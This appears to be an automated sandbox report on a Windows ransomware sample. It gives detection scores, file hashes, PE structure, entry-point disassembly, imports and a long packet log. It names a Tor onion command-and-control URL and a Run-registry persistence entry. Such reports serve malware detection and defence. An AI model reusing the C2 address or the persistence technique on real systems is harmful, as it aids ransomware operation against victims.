SPXp2YHDFz.exe	84%	ReversingLabs	Win64.Ransomware.Cryptoff
SPXp2YHDFz.exe	67%	Virustotal		Browse
SPXp2YHDFz.exe	49%	Metadefender		Browse
SPXp2YHDFz.exe	100%	Avira	HEUR/AGEN.1220861
SPXp2YHDFz.exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.0.SPXp2YHDFz.exe.7ff79baa0000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File
2.2.SPXp2YHDFz.exe.7ff79baa0000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File
7.0.SPXp2YHDFz.exe.7ff79baa0000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File
0.2.SPXp2YHDFz.exe.7ff79baa0000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File
2.0.SPXp2YHDFz.exe.7ff79baa0000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File
7.2.SPXp2YHDFz.exe.7ff79baa0000.0.unpack	100%	Avira	HEUR/AGEN.1220861	Download File

URLs

Source	Detection	Scanner	Label	Link
http://2.56.98.134/tor/server/fp/fb3a8fe9feca7935b3b707eb9990daa2e8d609cb	0%	Avira URL Cloud	safe
https://171.25.193.9/tor/status-vote/current/consensus	9%	Virustotal		Browse
http://pm2pavba27wr4m34.onion/command.txt%s	0%	Avira URL Cloud	safe
http://86.59.21.38/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://193.23.244.244/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://199.249.230.182/tor/server/fp/fce0c05f7e2d0b825fa0fd2a37ba5bae3c3d6e13	0%	Avira URL Cloud	safe
https://171.25.193.9/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://86.59.21.38/tor/status-vote/current/consensus	9%	Virustotal		Browse
http://131.188.40.189/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://185.216.179.206/tor/server/fp/9265c51d2769e253c47ba554675270a0fe7b2771	0%	Avira URL Cloud	safe
http://199.249.230.174/tor/server/fp/0e69aa0e00ab9e5bbf052c864682229b0b1f16ad	0%	Avira URL Cloud	safe
http://37.157.197.143/tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1	0%	Avira URL Cloud	safe
http://pm2pavba27wr4m34.onion/command.txt	0%	Avira URL Cloud	safe

Domains and IPs

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://171.25.193.9/tor/status-vote/current/consensus	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://86.59.21.38/tor/status-vote/current/consensus	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://2.56.98.134/tor/server/fp/fb3a8fe9feca7935b3b707eb9990daa2e8d609cb	false	Avira URL Cloud: safe	unknown
http://193.23.244.244/tor/status-vote/current/consensus	false	Avira URL Cloud: malware	unknown
http://199.249.230.182/tor/server/fp/fce0c05f7e2d0b825fa0fd2a37ba5bae3c3d6e13	false	Avira URL Cloud: safe	unknown
http://131.188.40.189/tor/status-vote/current/consensus	false	Avira URL Cloud: malware	unknown
http://199.249.230.174/tor/server/fp/0e69aa0e00ab9e5bbf052c864682229b0b1f16ad	false	Avira URL Cloud: safe	unknown
http://185.216.179.206/tor/server/fp/9265c51d2769e253c47ba554675270a0fe7b2771	false	Avira URL Cloud: safe	unknown
http://37.157.197.143/tor/server/fp/b31d89823fcaac31d3e2127ce5eca2628a6c1ae1	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://pm2pavba27wr4m34.onion/command.txt%s	SPXp2YHDFz.exe, 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp, SPXp2YHDFz.exe, 00000000.00000000.247570118.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
http://pm2pavba27wr4m34.onion/command.txt	SPXp2YHDFz.exe, SPXp2YHDFz.exe, 00000000.00000002.513607536.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp, SPXp2YHDFz.exe, 00000000.00000000.247570118.00007FF79BAB3000.00000002.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
171.25.193.9	unknown	Sweden	198093	DFRI-ASForeningenfordigitalafri-ochrattigheterSE	false
199.249.230.174	unknown	United States	62744	QUINTEXUS	false
2.56.98.134	unknown	Germany	197540	NETCUP-ASnetcupGmbHDE	false
199.249.230.182	unknown	United States	62744	QUINTEXUS	false
185.125.168.42	unknown	Norway	56655	TERRAHOSTNO	false
185.220.101.187	unknown	Germany	208294	ASMKNL	false
82.94.251.203	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
194.109.206.212	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
199.254.238.52	unknown	United States	16652	RISEUPUS	false
86.59.21.38	unknown	Austria	8437	UTA-ASAT	false
167.86.119.184	unknown	Germany	51167	CONTABODE	false
37.157.197.143	unknown	Czech Republic	197019	WEDOSCZ	false
185.216.179.206	unknown	Austria	45040	EXTRAIP-ASNL	false
154.35.175.225	unknown	United States	14987	RETHEMHOSTINGUS	false
131.188.40.189	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
193.23.244.244	unknown	Germany	50472	CHAOS-ASDE	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	728981
Start date and time:	2022-10-24 10:58:15 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SPXp2YHDFz.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.evad.winEXE@6/0@0/16
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.9% (good quality ratio 88.8%) Quality average: 65.1% Quality standard deviation: 32.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 21 Number of non-executed functions: 60
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

Time	Type	Description
10:59:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run qzxpgltqny C:\Users\user\Desktop\SPXp2YHDFz.exe
10:59:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run qzxpgltqny C:\Users\user\Desktop\SPXp2YHDFz.exe
10:59:52	API Interceptor	12x Sleep call for process: SPXp2YHDFz.exe modified

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	6.0060850550618605
TrID:	Win64 Executable Console (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SPXp2YHDFz.exe
File size:	119306
MD5:	93cfe55bf738e084cd73bc7bf27aaaa8
SHA1:	277abda1d07f4f390d9dadce80be3c06b511a8e9
SHA256:	3edd12728fa881d1ab3193b7130f313dffe41a35ef5fb33df77331b96b594d6c
SHA512:	f2732b9c11e654f0856b911097330bb26de82f3c55f6ea9fdd80b85be4439477c50976c1e666771c510f6c8a44569cae11b8202f73dd1c570b2da9db7dd2f38e
SSDEEP:	1536:UE+HW8nZU49ihyhxopuOFwXkJn2Fj8B2KjgtAb7at6E6clUCcjuI7ICyOK8WMJDu:UET8nTXiU+Re2Fc6clgHJ+x1n
TLSH:	82C34C7E79A482FAC1A6C87BD5D18A43F7B2B4420F39976F01D1132E4F3B6915E2C126
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L..6..le..le..le..md..lem.md..le..mec.leZ.od..le..ed6.le..nd..leRich..le................PE..d......_.........."...... .........

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x140002378
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5FE70FF7 [Sat Dec 26 10:27:03 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	eb2c7528c5e1067c1720a7639ed0ef7f

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F3AA893A45Ch
call 00007F3AA893A4EBh
call 00007F3AA893939Ah
int3
xor eax, eax
ret
int3
dec eax
sub esp, 38h
dec eax
mov dword ptr [esp+20h], FFFFFFFEh
call dword ptr [00010ED5h]
nop
dec eax
add esp, 38h
ret
int3
int3
int3
dec esp
mov ebx, esp
dec ecx
mov dword ptr [ebx+08h], ecx
push edi
dec eax
sub esp, 40h
dec ecx
mov dword ptr [ebx-10h], FFFFFFFEh
dec ecx
mov dword ptr [ebx+18h], ebx
dec eax
mov ebx, edx
dec eax
mov edi, ecx
xor eax, eax
mov dword ptr [esp+30h], eax
dec eax
mov dword ptr [ecx+08h], eax
dec eax
mov dword ptr [ecx+10h], eax
dec eax
mov dword ptr [ecx+18h], eax
mov dword ptr [esp+30h], 00000001h
dec ecx
mov dword ptr [ebx+10h], eax
mov edx, dword ptr [edx+08h]
sub edx, dword ptr [ebx]
dec ecx
lea eax, dword ptr [ebx+10h]
dec ecx
mov dword ptr [ebx-28h], eax
inc ebp
xor ecx, ecx
inc ecx
mov eax, 4000000Ch
dec eax
mov ecx, dword ptr [ebx]
call dword ptr [00010C91h]
dec eax
mov edx, dword ptr [esp+58h]
dec eax
dec edx
dec eax
mov ecx, edi
call 00007F3AA8939DAEh
dec esp
mov ecx, dword ptr [edi+08h]
dec eax
mov edx, dword ptr [ebx+08h]
dec eax
sub edx, dword ptr [ebx]
dec ecx
mov eax, ecx
dec eax
neg eax
dec ebp
sbb edx, edx
dec esp
and dword ptr [esp+58h], edx
dec eax
lea eax, dword ptr [esp+58h]
dec eax
mov dword ptr [esp+20h], eax
inc ecx
mov eax, 4000000Ch

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1be80	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1e000	0x10c8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x20000	0x144	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x17430	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x13000	0x2e8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11ea0	0x12000	False	0.4960801866319444	data	6.226727544999615	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x13000	0x9788	0x9800	False	0.3680612664473684	data	4.7776495816776965	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1d000	0x458	0x200	False	0.0546875	Matlab v4 mat-file (little endian) \377\377\377\377, text, rows 1, columns 0	0.15842690200323517	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1e000	0x10c8	0x1200	False	0.462890625	data	4.78977768986138	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x20000	0x144	0x200	False	0.515625	data	3.92443111285425	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
bcrypt.dll	BCryptSetProperty, BCryptCloseAlgorithmProvider, BCryptOpenAlgorithmProvider
CRYPT32.dll	CryptBinaryToStringA, CryptStringToBinaryA, CryptDecodeObject
WS2_32.dll	inet_addr, inet_ntoa, WSACleanup, closesocket, gethostbyname, WSAStartup, send, socket, connect, recv, htons, setsockopt, WSAGetLastError
Secur32.dll	InitSecurityInterfaceA
KERNEL32.dll	CreateThread, GetModuleFileNameA, Sleep, GetConsoleWindow, GetConsoleScreenBufferInfo, SetConsoleTextAttribute, GetStdHandle, GetCurrentThreadId, GetLocalTime, GetTickCount, GetCommandLineW, LocalFree, GetEnvironmentVariableA, LoadLibraryA, ReadFile, WriteFile, SetFilePointer, GetFileAttributesA, CreateFileA, CloseHandle, GetFileSize, FlushFileBuffers, WaitForSingleObject, TerminateThread, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSection, DeleteCriticalSection
USER32.dll	ShowWindow
ADVAPI32.dll	RegEnumValueA, RegSetValueExA, CryptExportKey, CryptDuplicateHash, CryptEncrypt, CryptSetKeyParam, CryptImportKey, CryptDestroyKey, CryptCreateHash, CryptHashData, RegQueryInfoKeyA, RegCloseKey, CryptReleaseContext, RegOpenKeyExA, CryptDestroyHash, CryptGetHashParam, CryptGenRandom, CryptAcquireContextA
SHELL32.dll	CommandLineToArgvW
msvcrt.dll	__CxxFrameHandler3, atexit, vprintf, free, malloc, vsprintf_s, _vscprintf, sscanf, _mkgmtime, time, wcstombs, memmove, memchr, memcmp, memcpy, memset

Network Behavior

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2022 10:59:10.593885899 CEST	49699	80	192.168.2.3	82.94.251.203
Oct 24, 2022 10:59:13.596376896 CEST	49699	80	192.168.2.3	82.94.251.203
Oct 24, 2022 10:59:19.596771002 CEST	49699	80	192.168.2.3	82.94.251.203
Oct 24, 2022 10:59:20.105673075 CEST	49702	80	192.168.2.3	154.35.175.225
Oct 24, 2022 10:59:23.112698078 CEST	49702	80	192.168.2.3	154.35.175.225
Oct 24, 2022 10:59:28.528417110 CEST	49703	80	192.168.2.3	82.94.251.203
Oct 24, 2022 10:59:29.222801924 CEST	49702	80	192.168.2.3	154.35.175.225
Oct 24, 2022 10:59:31.582207918 CEST	49703	80	192.168.2.3	82.94.251.203
Oct 24, 2022 10:59:31.770611048 CEST	49704	80	192.168.2.3	194.109.206.212
Oct 24, 2022 10:59:34.785583973 CEST	49704	80	192.168.2.3	194.109.206.212
Oct 24, 2022 10:59:37.598387003 CEST	49703	80	192.168.2.3	82.94.251.203
Oct 24, 2022 10:59:40.786205053 CEST	49704	80	192.168.2.3	194.109.206.212
Oct 24, 2022 10:59:41.240571022 CEST	49705	80	192.168.2.3	199.254.238.52
Oct 24, 2022 10:59:44.255209923 CEST	49705	80	192.168.2.3	199.254.238.52
Oct 24, 2022 10:59:49.600929976 CEST	49706	80	192.168.2.3	194.109.206.212
Oct 24, 2022 10:59:50.271388054 CEST	49705	80	192.168.2.3	199.254.238.52
Oct 24, 2022 10:59:52.615250111 CEST	49706	80	192.168.2.3	194.109.206.212
Oct 24, 2022 10:59:52.800805092 CEST	49707	443	192.168.2.3	171.25.193.9
Oct 24, 2022 10:59:52.800898075 CEST	443	49707	171.25.193.9	192.168.2.3
Oct 24, 2022 10:59:52.801069021 CEST	49707	443	192.168.2.3	171.25.193.9
Oct 24, 2022 10:59:52.802252054 CEST	49707	443	192.168.2.3	171.25.193.9
Oct 24, 2022 10:59:52.802289963 CEST	443	49707	171.25.193.9	192.168.2.3
Oct 24, 2022 10:59:52.802388906 CEST	443	49707	171.25.193.9	192.168.2.3
Oct 24, 2022 10:59:53.476785898 CEST	49708	80	192.168.2.3	82.94.251.203
Oct 24, 2022 10:59:56.490567923 CEST	49708	80	192.168.2.3	82.94.251.203
Oct 24, 2022 10:59:58.615775108 CEST	49706	80	192.168.2.3	194.109.206.212
Oct 24, 2022 11:00:02.273660898 CEST	49710	80	192.168.2.3	82.94.251.203
Oct 24, 2022 11:00:02.491133928 CEST	49708	80	192.168.2.3	82.94.251.203
Oct 24, 2022 11:00:05.319524050 CEST	49710	80	192.168.2.3	82.94.251.203
Oct 24, 2022 11:00:10.627257109 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.654594898 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.654808044 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.655061007 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.682410955 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682444096 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682457924 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682471991 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682488918 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682502031 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682518005 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682532072 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682549953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682570934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682589054 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.682684898 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.682755947 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.710057020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710084915 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710100889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710119963 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710139990 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710155010 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710177898 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710180044 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.710200071 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710218906 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710230112 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.710238934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710258961 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710278034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710297108 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.710308075 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.710323095 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.710336924 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.737597942 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737624884 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737643003 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737662077 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737680912 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737698078 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737715006 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737734079 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737751007 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737761974 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.737770081 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737787962 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737799883 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.737807989 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737823963 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.737827063 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737845898 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737854958 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.737864017 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737883091 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737901926 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737915039 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.737922907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.737946987 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.737967968 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.765069008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765108109 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765124083 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765137911 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765151978 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765170097 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765188932 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765207052 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765225887 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765247107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765264988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765284061 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765285015 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.765302896 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765321970 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765330076 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.765341997 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765361071 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765362024 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.765381098 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765398979 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765408039 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.765419006 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765435934 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765439034 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.765454054 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765471935 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.765474081 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.765516996 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.768208027 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.768229961 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.768246889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.768387079 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.792660952 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792692900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792712927 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792726994 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792740107 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792759895 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792778969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792798996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792819023 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792839050 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792856932 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792870045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792889118 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792907953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792910099 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.792927980 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792948961 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792962074 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.792968988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792989016 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.792990923 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.793008089 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793013096 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.793080091 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.793122053 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793173075 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793194056 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793214083 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793231964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793231964 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.793252945 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793253899 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.793307066 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.793361902 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793381929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793400049 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793417931 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.793426037 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.793483019 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.795387030 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.795413017 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.795430899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.795445919 CEST	80	49711	193.23.244.244	192.168.2.3
